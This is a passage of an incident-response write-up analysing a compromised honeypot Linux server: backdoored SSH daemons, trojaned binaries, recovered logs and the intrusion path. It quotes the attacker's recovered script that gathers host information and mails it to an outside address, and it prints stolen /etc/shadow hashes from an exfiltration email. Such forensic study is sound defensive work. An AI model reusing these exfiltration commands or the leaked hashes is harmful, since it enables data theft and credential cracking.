xopen 25241 1 root 18w REG 8,1 22795530 46914
/var/log/httpd/ssl_engine_log (deleted)
xopen 25241 1 root 19w REG 8,1 0 45308
/var/log/httpd/ssl_mutex.800 (deleted)
xopen 25241 1 root 20w REG 8,1 253 46934
/var/log/httpd/access_log (deleted)
xopen 25241 1 root 21w REG 8,1 253 46934
/var/log/httpd/access_log (deleted)
xopen 25241 1 root 22w REG 8,1 0 46916
/var/log/httpd/ssl_request_log (deleted)
xopen 25241 1 root 23w REG 8,1 0 45308
/var/log/httpd/ssl_mutex.800 (deleted)

```

We see immediately that 3 of the 4 ssh installed daemons are currently running.

- sshd, the original under the port TCP/22

- `smbd\0x40-D`, an installed `sshd` daemon under the port `TCP/2003`
- `xopen` was lunched 2 times, one on the port `TCP/3128` (Hidden) and one under the port `UDP/3049` (Bindshell ?)

But we can say that the `sshd` daemon (`sp0`) was lunched too. Why ? Because we can see that 2 files are existing : `/dev/hdx1` and `/dev/hdx2` which are the evidences that the `RST.b` virus was lunched as root. But why others files are not infected ? Look at them :). All the files in “`/bin`” directory (which is the directory which could be infected as well as the current directory) are flagged to “Immutable”. So the virus was not able to infect this files. We can say that this daemon was lunched at `15:30:30`.

So all the `sshd` daemon currently installed were lunched.

2.7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

The `smbd\040-D` `sshd` server was modified to collect login informations (user-name, password, remote host). We can see that with the `strings -a` command against the binary. You will found this strings that suggest the use of the `ssh`:

```
+-[ User Login Incoming ]----- - - - - -
| username: %s password: %s%s hostname: %s
+----- - - - - -
```

No data were collected because there is no traces of the above mark using the forensic tool (a “Keyword Search”). The memory contains one reference to this fingerprint, the binary, as well as the root partition. The swap partition does not contains any of this fingerprint.

By the way, I was able to log useful informations. In fact I did a test with this server in an other VM and was able to find an escape to the root authentication and the file that keep track of this connections informations. So you do not need to know the root password to login as root, and the logs says that you are disconnected and the `utmp` is not marked (in fact the log are quiet messy, and I think that the writer of this backdoor must rewrite this part of the program :). I suppose that most of you have find this password, so I will not publish it for security reasons :) (Please send me an email if you disagree with this). It seems that this is a French word (Aspell does not know it, and I think that this word is very suitable for its function). So perhaps the writer/user of this backdoor have some knowledge in this foreign language. The file that contains the informations is “`/usr/lib/libshlog`”. The easiest way to find this informations is to use `gdb`. I think that the purpose of this challenge is not to disassemble this backdoor, so I will not explain how you can do this. But you must know that if I find this, then you can too !

The `xopen` `sshd` daemon use magic password too. But I was not able to recover them since it seems to compare them has MD5 hash. It seems to have 2 passwords, so perhaps for 2 different uses.

2.8. Which system executables (if any) were trojaned and what configuration files did they use?

In this part I will use the `chkrootkit` tool in the live system, and the `md5sum -C` command to find the right files and the bad ones.

There were 5 system trojaned executables: `ps`, `ls`, `top`, `netstat`, `ifconfig`. I think that the purpose of this was to hide some process or connections, but it does not work well (the configuration files were not very well done), as we see it in the first question.

First the `chkrootkit` give this informations:

```

ROOTDIR is '/'
Checking 'amd'... not found
[ ... ]
Checking 'su'... not infected
Checking 'ifconfig'... INFECTED
Checking 'inetd'... not tested
[ ... ]
Checking 'login'... not infected
Checking 'ls'... INFECTED
Checking 'lsof'... not found
[ ... ]
Checking 'mingetty'... not infected
Checking 'netstat'... INFECTED
Checking 'named'... not found
[ ... ]
Checking 'pop3'... not found
Checking 'ps'... INFECTED
Checking 'pstree'... not infected
[ ... ]
Checking 'tcpdump'... not infected
Checking 'top'... INFECTED
Checking 'telnetd'... not infected
[ ... ]
Checking 'aliens'...
/dev/ttyop /dev/ttyoa
[ ... ]
Searching for suspicious files and dirs, it may take a while...
/usr/lib/perl5/5.6.0/i386-linux/.packlist /lib/.x /lib/.x/.boot
/lib/.x
[ ... ]
Searching for anomalies in shell history files...
Warning: '//root/.bash_history' is linked to another file
Checking 'asp'... not infected
Checking 'bindshell'... INFECTED (PORTS: 3049)
Checking 'lkm'... You have 4 process hidden for ps command
Warning: Possible LKM Trojan installed
Checking 'rexedcs'... not found
Checking 'sniffer'...
eth0 is PROMISC
[ ... ]

```

So It find the five trojaned binary, some hidden files and the so-called “aliens” as /dev/ttyoa /dev/ttyop.

But we have another powerfull tool, “*md5sum -C linux-suspended-md5s |grep FAILED*”. The output is given here:

```

/var/log/secure: FAILED
/var/log/maillog: FAILED
/var/log/wtmp: FAILED
/var/log/sa/sa14: FAILED open or read
/var/log/sa/sa15: FAILED open or read
/var/log/sa/sar14: FAILED open or read
/var/log/sa/sa16: FAILED open or read
/var/log/sa/sar15: FAILED open or read

```

```

/var/log/sa/sa06: FAILED open or read
/var/log/samba/log.smbd: FAILED open or read
/var/log/samba/smbd.log: FAILED open or read
/var/log/samba/log.nmbd: FAILED open or read
/var/log/samba/localhost.log: FAILED open or read
/var/log/xferlog: FAILED open or read
/var/log/httpd/error_log: FAILED open or read
/var/log/httpd/ssl_engine_log: FAILED open or read
/var/log/httpd/access_log: FAILED open or read
/var/log/httpd/ssl_request_log: FAILED open or read
/var/log/httpd/access_log.1: FAILED open or read
/var/log/httpd/error_log.1: FAILED open or read
/var/log/dmesg: FAILED open or read
/var/log/cron: FAILED
/var/log/boot.log: FAILED
/var/log/rpmpkgs: FAILED open or read
/var/cache/man/whatis: FAILED
/var/cache/samba/smbd.pid: FAILED
/var/cache/samba/connections.tdb: FAILED
/var/cache/samba/nmbd.pid: FAILED
/var/run/utmp: FAILED
/var/run/runlevel.dir: FAILED
/var/run/syslogd.pid: FAILED
/var/run/klogd.pid: FAILED
/var/run/apmd.pid: FAILED
/var/run/sshd.pid: FAILED
/var/run/sendmail.pid: FAILED
/var/run/gpm.pid: FAILED
/var/run/crond.pid: FAILED
/var/run/ftp.rips-all: FAILED open or read
/var/spool/anacron/cron.daily: FAILED
/var/spool/anacron/cron.weekly: FAILED
/tmp/root.md5: FAILED open or read
/etc/rc.d/init.d/functions: FAILED
/etc/rc.d/rc.sysinit: FAILED
/etc/mail/statistics: FAILED
/etc/aliases.db: FAILED
/etc/adjtime: FAILED
/etc/samba/secrets.tdb: FAILED
/etc/httpd/conf/httpd.conf: FAILED
/usr/bin/top: FAILED
/bin/netstat: FAILED
/bin/ls: FAILED
/bin/ps: FAILED
/sbin/ifconfig: FAILED

```

We see that some files are deleted without reasons, some are logically wrong (.pid,/var/log/). But it is clear that some files are modified and should not be. We see the wrong md5sum for top, netstat, ls, ps, ifconfig. But there is some other interesting wrong files as “/etc/rc.d/init.d/functions” and “/etc/rc.d/rc.sysinit” or “/etc/httpd/conf/httpd.conf”.

To find which configuration files where used, we can look at the output of strings -a for all this commands. Using the output of chkrootkit, we can try to grep “/dev/” references.

We found the following results:

Command	configuration file	comment
/bin/ps	/dev/ttyop	creation time: 13:33:57
/bin/ls	/dev/ttyof	id.
/bin/netstat	/dev/ttyoa	id.
/usr/bin/top	/dev/ttyop	id.
/sbin/ifconfig	-	the PROMISC flag is missing

The configuration files are classical rootkit configuration files, with level and regex. You will find them in the appendix.

Notice that the wrong rc.d files have been in some way trojaned too (used to reinstall the rootkit).

2.9. How and from where was the system likely compromised?

This is the more interesting question, isn't it ? I will try to explain how the attacker proceed and will make some extrapolation because I do not have enough experience.

Let's start with the logs. I was able to restore some part of the syslogd log, some http log: ssl_error_log ? and error_log ? with some interesting dates. The technique used is the use of igrabber.pl, a perl script written by ?? for the SOTM 15 to recover some files. Some log files are bigger than 23 Mo, so I will just display the more interesting part (ssl_error_log ?):

```
[jc@innocent sotm29]$ head -n 14 linux.46914 |tail -n 8
[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443,
client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443,
client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 13:40:28 03272] [error] System: No such file or directory (errno: 2)
[10/Aug/2003 13:40:29 03273] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 13:40:29 03273] [error] System: No such file or directory (errno: 2)
```

So we know with this log (which was deleted) that a client "213.154.118.219" try something against the secure connection on port 443. at 13:24:29 (local time) and at 13:32:38 8 minutes later. Then 8 minutes later, some files were deleted: "/etc/httpd/logs/ssl_mutex.800". This logs ended with:

```
[jc@innocent sotm29]$ tail -n 8 linux.46914
[10/Aug/2003 15:52:09 14600] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 15:52:09 14600] [error] System: No such file or directory (errno: 2)
[10/Aug/2003 15:52:09 14601] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 15:52:09 14601] [error] System: No such file or directory (errno: 2)
[10/Aug/2003 15:52:09 14602] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 15:52:09 14603] [error] Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 15:52:09 14603] [error] System: No such file or directory (errno: 2)
[10/Aug/2003 15:52:09 14602] [error] System: No such file or directory (errno: 2)
```

So we can make 2 suppositions. First this log was deleted at 15:52:09 (local time). Then the processes were killed near this time. We find this again in another log (error_log ?):

```
[jc@innocent sotm29]$ head -n 12 linux.46935
```

```

[Sun Aug 10 04:02:01 2003] [notice] Apache/1.3.20 (Unix) (Red-Hat/Linux)
mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 configured -- resuming normal operations
[Sun Aug 10 04:02:01 2003] [notice] suEXEC mechanism enabled (wrapper:
/usr/sbin/suexec)
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1
request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1
request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist:
/var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server
localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server
localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:40:28 2003] [error] mod_ssl: Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 13:40:28 2003] [error] System: No such file or directory (errno: 2)
[Sun Aug 10 13:40:29 2003] [error] mod_ssl: Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)

```

So here the log ended at 15:52:09 too, with the message “caught SIGTERM”.

```

[jc@innocent sotm29]$ tail -n 5 linux.46935
[Sun Aug 10 15:52:09 2003] [error] mod_ssl: Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 15:52:09 2003] [error] System: No such file or directory (errno: 2)
[Sun Aug 10 15:52:09 2003] [error] mod_ssl: Child could not open SSLMutex lockfile
/etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 15:52:09 2003] [error] System: No such file or directory (errno: 2)
[Sun Aug 10 15:52:09 2003] [notice] caught SIGTERM, shutting down

```

So the Apache server was kill at this time, and the logs were deleted after.

The maillog was undeleted using the autopsy tool. You can find it at the unallocated inode 46901. It give some very interesting informations about the hours.

```

[jc@innocent evidence]$ cat maillog.images-linux-2.img-inode46901.raw | grep h7ALE1t04763
Aug 10 14:14:01 localhost sendmail[4763]: h7ALE1t04763: from=apache, size=1300,
class=0, nrcpts=1, msgid=<200308102114.h7ALE1t04763@localhost.localdomain>, relay=apache@localhost
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijel@yaho.com,
ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmt, pri=31300,
relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
[jc@innocent evidence]$ cat maillog.images-linux-2.img-inode46901.raw | grep h7AMUUn23300
Aug 10 15:30:30 localhost sendmail[23300]: h7AMUUn23300: from=apache, size=43,
class=0, nrcpts=1, msgid=<200308102230.h7AMUUn23300@localhost.localdomain>, relay=apache@localhost
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yaho.com,
ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt, pri=30043,
relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
[jc@innocent evidence]$ cat maillog.images-linux-2.img-inode46901.raw | grep h7AMUVC23321
Aug 10 15:30:31 localhost sendmail[23321]: h7AMUVC23321: from=apache, size=43,
class=0, nrcpts=1, msgid=<200308102230.h7AMUVC23321@localhost.localdomain>, relay=apache@localhost
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yaho.com,
ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmt, pri=30043,
relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection
timed out with mx4.mail.yahoo.com.
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yaho.com,
ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmt, pri=120043,
relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
[jc@innocent evidence]$ cat maillog.images-linux-2.img-inode46901.raw | grep h7AMWXH25629
Aug 10 15:32:33 localhost sendmail[25629]: h7AMWXH25629: from=root, size=8198,
class=0, nrcpts=1, msgid=<200308102232.h7AMWXH25629@sbm79.dtc.apu.edu>, relay=root@localhost
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yaho.com,
ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmt, pri=38198,

```

```
relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable
[jc@innocent evidence]$
```

We found here three email. I was able to recover some of them:

The first is sent to jijeljijel@yahoo.com at 14:14:01. I did not find any traces about it except the shell script that send it. The subject was "SoNkErIkI HaCk" and the command which send it is:

```
echo "* Info : $(uname -a)" >> /tmp/info
echo "* Hostname : $(hostname -f)" >> /tmp/info
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> /tmp/info
echo "* Uptime : $(uptime)" >> /tmp/info
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> /tmp/info
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> /tmp/info
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> /tmp/info
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> /tmp/info
echo "* Disk Space: $(df -h)" >> /tmp/info
echo "* Yahoo Ping Reply: $(ping -c3 yahoo.com)" >> /tmp/info
echo "* Password: $(wc /etc/passwd -l)" >> /tmp/info
echo "* Port: 6668" >> /tmp/info
cat /tmp/info | mail -s "SoNkErIkI HaCk" jijeljijel@yahoo.com
```

We found in the memory (Unit 12856) the command that generate the mails send to the newp-traceuser@yahoo.com:

```
cat ip|mail -s 'moka' newp-traceuser@yahoo.com >>/dev/null 2>>/dev/null
```

The size of this email seems to be the same than the indicated in the maillog (43 Bytes [apache@localhost + newp-traceuser@yahoo.com = 39 and moka = 4 and ip(empty) = 0 give 43 bytes). So two empty mails were send to the newp-traceuser@yahoo.com by an apache process at 15:30:30/31 (local time).

This is the last mail (the size of the mail is very closed to the value "size" in the maillog and the dates are corrects)

```
V4
T1060554753
K0
NO
P38198
I8/1/3563
Fb
$_root@localhost
Sroot
Aroot@sbm79.dtc.apu.edu
RPFID:skiZophrenia_siCk@yahoo.com
H?P?Return-Path: <.g>
H??Received: (from root@localhost)
    by sbm79.dtc.apu.edu (8.11.6/8.11.6) id h7AMWXH25629
    for skiZophrenia_siCk@yahoo.com; Sun, 10 Aug 2003 15:32:33 -0700
H?D?Date: Sun, 10 Aug 2003 15:32:33 -0700
H?F?From: root <root>
H?x?Full-Name: root
H?M?Message-Id: <200308102232.h7AMWXH25629@sbm79.dtc.apu.edu>
H??To: skiZophrenia_siCk@yahoo.com
H??Subject:
```

Then the body of the message: (some spaces are missing)

```
#####
I AM THE GREAT BIG MOUTH
#####
Real ip:
#####
SSHD backdoor port:
```

```

3128
#####
Last root login:
Login: root                               Name: root
Directory: /root                           Shell: /bin/bash
On since Sat Aug 9 14:35 (PDT) on tty1     1 day idle
New mail received Sun Aug 10 15:30 2003 (PDT)
      Unread since Sun Aug 10 13:40 2003 (PDT)
No Plan.
#####
Uptime:
      3:32pm up 1 day, 58 min, 1 user, load average: 1.32, 1.33, 1.30
#####
*nix type:
Linux
#####
*nix distribution:
Red Hat Linux release 7.2 (Enigma)
#####
Hostname:
sbm79.dtc.apu.edu
#####
Kernel version:
2.4.7-10
#####
Hardware type:
i686
#####
Vendor Id:
GenuineIntel
#####
Interfaces:
lo      Link encap:Local Loopback
        inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
        UP LOOPBACK RUNNING MTU:16436 Metric:1
        RX packets:1720 errors:24 dropped:0 overruns:0
        TX packets:0 errors:0 dropped:0 overruns:1720
eth0    Link encap:10Mbps Ethernet HWaddr 00:0C:29:89:42:93
        inet addr:192.168.1.79 Bcast:192.168.1.255 Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
        RX packets:5956177 errors:6018 dropped:0 overruns:0
        TX packets:0 errors:0 dropped:0 overruns:474528
        Interrupt:10 Base address:0x10e0
#####
Computers in the network:
Address      HWtype  HWaddress      Flags Mask      Iface
192.168.1.1      ether   00:50:56:C0:00:00    C              eth0
#####
Model name:
Pentium III (Coppermine)
#####
CPU speed:
666.888
#####
Bogomips:
1307.44
#####
Connection:
PING 66.218.71.198 (66.218.71.198) from 192.168.1.79 : 56(84) bytes of data.
64 bytes from 66.218.71.198: icmp_seq=0 ttl=243 time=7.251 msec
64 bytes from 66.218.71.198: icmp_seq=1 ttl=243 time=37.229 msec
--- 66.218.71.198 ping statistics ---
3 packets transmitted, 2 packets received, 33% packet loss
round-trip min/avg/max/mdev = 7.251/22.240/37.229/14.989 ms
#####
Open ports:
tcp      0      0 *:https          *:*              LISTEN

```

```

tcp      0      0 localhost.localdom:smtp *:*          LISTEN
tcp      0      0 *:squid                *:*          LISTEN
tcp      0      0 *:telnet                *:*          LISTEN
tcp      0      0 *:ssh                   *:*          LISTEN
tcp      0      0 *:ftp                   *:*          LISTEN
tcp      0      0 *:cfinger               *:*          LISTEN
tcp      0      0 *:auth                  *:*          LISTEN
tcp      0      0 *:http                  *:*          LISTEN
tcp      0      0 *:finger               *:*          LISTEN
tcp      0      0 *:netbios-ssn          *:*          LISTEN
tcp      0      0 *:4000                  *:*          LISTEN
#####
Interesting files:
/var/log/samba/smbd.log
/var/log/samba/localhost.log
/var/log/boot.log
/usr/lib/rpm/rpm.log
/usr/share/doc/pam-0.75/ps/missfont.log
#####
Encrypted passwords:
root:$1$gm64oWDG$/W3MX0Pb7/2oCB7Jkyvga1:12270:0:99999:7:::
bin:!:12247:0:99999:7:::
daemon:!:12247:0:99999:7:::
adm:!:12247:0:99999:7:::
lp:!:12247:0:99999:7:::
sync:!:12247:0:99999:7:::
shutdown:!:12247:0:99999:7:::
halt:!:12247:0:99999:7:::
mail:!:12247:0:99999:7:::
news:!:12247:0:99999:7:::
uucp:!:12247:0:99999:7:::
operator:!:12247:0:99999:7:::
games:!:12247:0:99999:7:::
gopher:!:12247:0:99999:7:::
ftp:!:12247:0:99999:7:::
admin:$1$YAkCbK.7$JoZPsqGx0.ImKonKAucm.:12248:0:99999:7:::
nobody:!:12247:0:99999:7:::
mailnull:!!:12247:0:99999:7:::
rpm:!!:12247:0:99999:7:::
ident:!!:12247:0:99999:7:::
apache:!!:12247:0:99999:7:::
#####
/etc/hosts:
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1          localhost.localdomain localhost
#####
Install log:
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table []
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table []
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table []
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table []
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####

```

```

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####
Copyright [siCk]
_EOF_
#####

```

This mail was sent at 15:32:33 by an automated script (we will see this later).

But of course, there was more mail send than those that we found in the maillog. For example, you can find this mail header:

```

T1060547636
P37196
I8/1/3555
$_root@localhost
Sroot
Aroot@localhost.localdomain
RPF:mybabywhy@yahoo.com
H?P?Return-Path: <
H??Received: (
    from root@localhost) by localhost.localdomain (8.11.6/8.11.6)id h7AKXuZ03201
    for mybabywhy@yahoo.com; Sun, 10 Aug 2003 13:33:56 -0700
H?D?Date: Sun, 10 Aug 2003 13:33:56 -0700
H?F?From: root <root>
H?x?Full-Name: root
H?M?Message-Id: <200308102033.h7AKXuZ03201@localhost.localdomain>
H??To: mybabywhy@yahoo.com
H??Subject: SANDERS root

```

The body of this message was at offset 16001:

```

+++++
+++++      Informatziile pe care le-ai dorit boss:)      +++++
+++++
#####
Hostname : localhost.localdomain (192.168.1.79)
Alternative IP : 127.0.0.1
Host : localhost.localdomain

=====

Distro: Red Hat Linux release 7.2 (Enigma)

=====

```

```
Uname -a
Linux localhost.localdomain 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
```

```
=====
Uptime
  1:33pm up 22:59,  1 user,  load average: 0.16, 0.03, 0.01
=====
```

```
Pwd
/tmp/sand
=====
```

```
ID
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
=====
```

```
Yahoo.com ping:
```

```
PING 216.115.108.243 (216.115.108.243) from 192.168.1.79 : 56(84) bytes of data.
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
From 64.152.81.62: Destination Net Unreachable
--- 216.115.108.243 ping statistics ---
6 packets transmitted, 0 packets received, +3 errors, 100% packet loss
```

```
=====
Hw info:
```

```
CPU Speed: 666.888MHz
CPU Vendor: vendor_id   : GenuineIntel
CPU Model: model name   : Pentium III (Coppermine)
RAM: 94420 Kb
=====
```

```
HDD(s):
Filesystem  Type      Size  Used Avail Use% Mounted on
/dev/sda1   ext3      905M  296M  564M  35% /
none        tmpfs     46M   0    46M   0% /dev/shm
=====
```

```
inetd-ul...
```

```
=====
configurarea ip-urilor..
  inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
  inet addr:192.168.1.79 Bcast:192.168.1.255 Mask:255.255.255.0
=====
```

```
Ports open:
tcp        0      0 *:https                **          LISTEN
tcp        0      0 localhost.localdom:smtp **          LISTEN
tcp        0      0 *:telnet               **          LISTEN
tcp        0      0 *:ssh                  **          LISTEN
tcp        0      0 *:ftp                  **          LISTEN
tcp        0      0 *:cfinger              **          LISTEN
tcp        0      0 *:auth                 **          LISTEN
tcp        0      0 *:http                 **          LISTEN
```

```

tcp      0      0 *:finger          *:*             LISTEN
tcp      0      0 *:netbios-ssn    *:*             LISTEN
tcp      0      0 *:4000            *:*             LISTEN

```

=====

/etc/passwd & /etc/shadow

```

/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:0:FTP User:/var/ftp:/sbin/nologin
admin:x:15:50:User:/var/ftp:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47:/:/var/spool/mqueue:/dev/null
rpm:x:37:37:/:/var/lib/rpm:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/bin/false

```

```

/etc/shadow
root:$1$gm64oWDG$/W3MX0Pb7/2oCB7Jkyvga1:12270:0:99999:7:::
bin:!:12247:0:99999:7:::
daemon:!:12247:0:99999:7:::
adm:!:12247:0:99999:7:::
lp:!:12247:0:99999:7:::
sync:!:12247:0:99999:7:::
shutdown:!:12247:0:99999:7:::
halt:!:12247:0:99999:7:::
mail:!:12247:0:99999:7:::
news:!:12247:0:99999:7:::
uucp:!:12247:0:99999:7:::
operator:!:12247:0:99999:7:::
games:!:12247:0:99999:7:::
gopher:!:12247:0:99999:7:::
ftp:!:12247:0:99999:7:::
admin:$1$YAkCbK.7$JoZPsqGx0.ImKonKAucm.:12248:0:99999:7:::
nobody:!:12247:0:99999:7:::
mailnull:!!:12247:0:99999:7:::
rpm:!!:12247:0:99999:7:::
ident:!!:12247:0:99999:7:::
apache:!!:12247:0:99999:7:::

```

=====

interesting filez:

Mp3-urfile

Avi-urfile

Mpg-urfile

=====

Hacking Files..

```
/usr/lib/perl5/5.6.0/pod/perlhack.pod
/usr/share/man/man1/perlhack.1.gz
```

```
Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)
```

It was send at 13 h 33 m 56 s(Local time) by the user root, with a shell script that we found on the HD at the offset 201093. The name of this script is "sysinfo". It is lunch with another script which can be found at the offset 201083 called "install". Both of them were located under "/tmp/sand". Reading this script give us another information about the same mail sent to "buskyn17@yahoo.com". This explains why we found two time the same mail on the HD (Offset 16005) . We found at Offset 16007 the header of this mail. The file "informatii" is found at offset 201554.

Why use all this time to discuss these email ? I think that they are the best way to understand what happens and they give evidence about the executed scripts.

Now let's start the flow of the attack. You will find in the access_log (inode 46934) and error_log (inode 46935) of the httpd daemon some interesting request:

```
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700]
"GET /sumthin HTTP/1.0" 404 279 "-" "-"
#and
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219]
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219]
client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219]
File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server
localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server
localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
```

This is the beginning of the attack. This is the signature of a so-called ATD mass scanner for ssl/Apache vulnerabilities. You will found a short description here : <http://www.lurhq.com/atd.html>. With the signature of the web server, you will have a view of the vulnerability that can be used against the victim.

So some test (scanner ?) are done at 13:16:27/37. Then the scanner at 13:23:17. One minute later there is the first attack using the openssl-too-open (by Solars Eclipse). So a remote shell is created under the id apache (48/48). Then they use the ptrace exploit to gain root access. How do we know this ? Just take a look at this memory fragment (junction between 30331 and 30332) : (this is a console memory part)

```
[+] Signal caught
